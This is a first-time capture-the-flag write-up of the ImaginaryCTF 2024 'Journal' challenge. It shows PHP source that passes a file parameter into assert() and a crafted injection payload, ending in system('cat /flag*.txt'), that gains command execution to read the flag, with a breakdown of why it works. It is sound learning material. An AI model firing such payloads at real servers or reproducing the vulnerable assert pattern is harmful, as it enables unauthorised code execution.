Journal - Imaginary CTF 2024
This is my first writeup regarding a ctf challenge.
PHP Source Code
This was the source code of the php server. I do not know php so I could not see the obvious vulnerability.
<?php
echo "<p>Welcome to my journal app!</p>";
echo "<p><a href=/?file=file1.txt>file1.txt</a></p>";
echo "<p><a href=/?file=file2.txt>file2.txt</a></p>";
echo "<p><a href=/?file=file3.txt>file3.txt</a></p>";
echo "<p><a href=/?file=file4.txt>file4.txt</a></p>";
echo "<p><a href=/?file=file5.txt>file5.txt</a></p>";
echo "<p>";
if (isset($_GET['file'])) {
  $file = $_GET['file'];
  $filepath = './files/' . $file;
  assert("strpos('$file', '..') === false") or die("Invalid file!");
  if (file_exists($filepath)) {
    include($filepath);
  } else {
    echo 'File not found!';
  }
}
echo "</p>";
I intially tried accessing the flag without using ... On hacktricks I found a few ways that could happend but none of them worked.
The RCE
Then it clicked to me, how assert is taking the code as a string and executing it and the file name is being passed to it. Googling this, I found that hacktricks has the same code as example but their payload was not working for me. So I crafted my own payload.
', '1') or die(system('cat /flag*.txt'))or strpos('
Break Down
- ', '1')is to close the string and strpos function.
- or die(system('cat /flag*.txt'))is to print the flag.- oris used because- strposreturns false and then- orshort circuits to execute the next command- die.
- or strpos('is to prevent the (syntax iirc) error from being thrown by.
After the format string being filled the code inside the assert function looks like this:
strpos('', '1') or die(system('cat /flag*.txt'))or strpos('e', '..') === false
Thanks to the organizers. I really enjoyed the ctf, especially this challenge.
